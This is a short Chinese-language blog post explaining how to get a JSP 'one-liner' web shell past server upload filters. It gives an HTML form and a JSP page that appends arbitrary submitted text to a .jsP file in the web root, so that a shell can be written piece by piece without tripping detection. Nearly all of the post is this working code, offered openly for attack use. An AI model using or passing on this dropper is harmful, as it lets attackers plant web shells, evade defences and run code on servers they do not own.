jsp绕过拦截写入一句话
首页 > 资源分享    作者:webbaozi   2016年11月14日 20:58 星期一   热度:2031°   百度已收录  
时间:2016-11-14 20:58   热度:2031° 

在某些情况下,直接上传jsp一句话会被拦截。

因为代码中出现了两个或多个敏感代码,会被服务器拦截,上传失败。

以下方法对代码拆分上传,最好逐行上传,降低被拦截的可能性。

<html>
<head>
<title>写入内容到文件</title>
<meta http-equiv="Content-Type" content="text/html;charset=GB2312">
</head>
<body>
<form name="form1" action="FileBufferedwriter.jsp" method="post">
  <p align="center">请输入:</p>
  <p align="center">
    <textarea name="textarea" cols="50" rows="10"></textarea>
  </p>
  <p align="center">
    <input type="submit" value="提交">
    <input type="reset" value="重填">
  </p>
</form>
</body>
</html>

文件FileBufferedwriter.jsp代码:

<%@ page language="java" contentType="text/html; charset=gb2312"%>
<%@ page import="java.io.*"%>
<html>
<head>
<title>将内容写入到文件</title>
</head>
<body>
<center>
<%
  String path=request.getRealPath("/");
  File fp=new File(path,"file2.jsP");
  FileWriter fwriter=new FileWriter(fp,true);
  BufferedWriter bfwriter=new BufferedWriter(fwriter);
  request.setCharacterEncoding("GBK");
  String str_file=request.getParameter("textarea");
  bfwriter.newLine();
  bfwriter.write(str_file,0,str_file.length());
  bfwriter.flush();
  bfwriter.close();
  fwriter.close();
  out.println("已将内容成功写入到文件!");
%>
</center>
</body>
</html>


二维码加载中...
本文作者:webbaozi      文章标题: jsp绕过拦截写入一句话
本文地址:http://www.webbaozi.com/zyfx/9.html
版权声明:若无注明,本文皆为“baozi|学与用”原创,转载请保留文章出处。

返回顶部    首页    手机版本   
版权所有:baozi|学与用    站长: webbaozi  蜀ICP备16032848号-1